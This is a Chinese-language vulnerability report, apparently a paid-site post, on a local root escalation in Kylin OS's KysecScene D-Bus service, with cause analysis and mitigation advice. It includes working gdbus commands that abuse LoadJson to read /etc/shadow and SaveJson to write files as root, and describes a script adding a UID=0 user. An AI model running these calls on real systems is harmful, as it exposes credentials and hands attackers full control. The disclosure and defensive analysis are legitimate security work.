麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞

  • 作者:中龙技术 KoWayMin

  • 报告日期:2026 年 2 月 12 日

  • 漏洞类型:本地权限提升(LPE)

一、漏洞概述

该漏洞存在于麒麟系统中的 com.kylin.KysecScene D-Bus 系统服务。该服务以 root 权限运行,但其 D-Bus 策略配置过于宽松,允许任意本地用户直接调用敏感方法。同时,服务暴露的 LoadJsonSaveJson 方法对传入文件路径缺乏访问控制与路径校验,导致低权限用户可借助该服务实现:

  1. 读取高敏感文件(如 /etc/shadow)。

  2. 以 root 身份向任意路径写入数据(如 /etc/passwd)。

最终可形成完整的本地提权链,攻击者能够获得 root 权限并完全控制系统。

二、漏洞定位过程

1. 枚举系统 D-Bus 服务

通过以下命令可定位到目标服务:

busctl --system list | grep -i kylin

输出中可见:

com.kylin.KysecScene ... root ...

这表明 KysecScene 由 root 身份运行。

2. 检查 D-Bus 策略文件

策略文件路径如下:

cat /usr/share/dbus-1/system.d/com.kylin.KysecScene.conf

关键配置(原意)为允许默认上下文用户访问该服务:

<policy context="default">
 <allow own="com.kylin.KysecScene"/>
 <allow send_destination="com.kylin.KysecScene"/>
 <allow send_destination="com.kylin.KysecScene"
    send_interface="org.freedesktop.DBus.Introspectable"/>
 <allow send_destination="com.kylin.KysecScene"
    send_interface="org.freedesktop.DBus.Properties"/>
</policy>

该策略意味着本地普通用户也可向目标服务发起方法调用,权限边界被显著削弱。

3. 枚举可调用方法

gdbus introspect --system \
 --dest com.kylin.KysecScene \
 --object-path /com/kylin/KysecScene

可见核心接口:

LoadJson(in s file_path, out ay arg_1)   # 任意文件读取
SaveJson(in s file_path, in ay data, out i arg_2)   # 任意文件写入

这两个方法均接受外部提供的文件路径,且报告显示缺乏有效校验。

三、漏洞成因分析

漏洞的本质是“高权限服务 + 低门槛调用 + 危险文件操作接口”三者叠加:

  1. 服务高权限运行KysecScene 进程为 root。

  2. 调用控制过宽:D-Bus 策略向默认本地用户开放。

  3. 方法缺少安全约束LoadJson/SaveJson 可操作任意路径,未限制目录、未鉴权、未做安全过滤。

因此,普通用户可借服务完成本应仅 root 才能执行的读写操作,从而打通提权路径。

四、PoC 验证过程

1. 任意文件读取(读取 /etc/shadow

先验证普通用户无法直接读取:

whoami
cat /etc/shadow
# cat: /etc/shadow: Permission denied

再通过 D-Bus 调用:

gdbus call --system \
 --dest com.kylin.KysecScene \
 --object-path /com/kylin/KysecScene \
 --method com.kylin.KysecScene.LoadJson \
/etc/shadow

返回数据为十六进制字节数组,其中可解析出 root 等账户口令条目信息,证明低权限用户已可越权读取敏感凭据文件。

2. 任意文件写入(以 root 身份写文件)

构造测试数据:

666 YDBYL KYLIN POC\n

转换为字节数组后调用:

gdbus call --system \
 --dest com.kylin.KysecScene \
 --object-path /com/kylin/KysecScene \
 --method com.kylin.KysecScene.SaveJson \
/tmp/kylin_poc \
 "[0x36,0x36,0x36,0x20,0x59,0x44,0x42,0x59,0x4c,0x20,0x4b,0x59,0x4c,0x49,0x4e,0x20,0x50,0x4f,0x43,0x0a]"

图片[1]-麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞-棉花糖会员站

验证结果:

cat /tmp/kylin_poc
ls -l /tmp/kylin_poc

图片[2]-麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞-棉花糖会员站 报告显示该文件所有者为 root,说明普通用户已借助该接口完成 root 权限写入。

3. 完整提权链(poc.py

图片[3]-麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞-棉花糖会员站

python3 poc.py --rf <file> | --useradd <username>
  • --rf /etc/shadow:演示敏感文件读取。

  • --useradd testuser2:向系统账户文件写入 UID=0 用户。

复现输出显示:

uid=0(testuser2) gid=0(root)

即普通用户可进一步获取 root shell,并访问 /root 目录,实现完全接管。

五、影响评估

该漏洞可导致以下安全后果:

  1. 敏感信息泄露:读取 /etc/shadow 等核心文件。

  2. 任意文件篡改:覆盖系统配置或认证文件。

  3. 本地权限提升至 root:创建 UID=0 账户、植入后门、维持持久化控制。

  4. 系统完全失陷:完整性、机密性、可用性均受到严重威胁。

六、结论

com.kylin.KysecScene 的核心问题在于:以 root 运行的系统服务向普通本地用户暴露了缺乏校验的文件读写能力。该设计缺陷使攻击者无需内核漏洞,仅通过 D-Bus 接口即可从低权限用户提升到 root,属于高危本地提权漏洞。

从防护角度看,必须同时收紧 D-Bus 调用策略与接口输入校验,避免高权限服务直接对外提供任意路径文件操作能力。

poc.py以及poc.sh:

 

麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞-棉花糖会员站
麒麟操作系统 KysecScene D-Bus 服务本地提权漏洞
此内容为付费阅读,请付费后查看
9999积分
付费阅读
已售 7
© 版权声明
THE END
喜欢就支持一下吧
点赞62赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容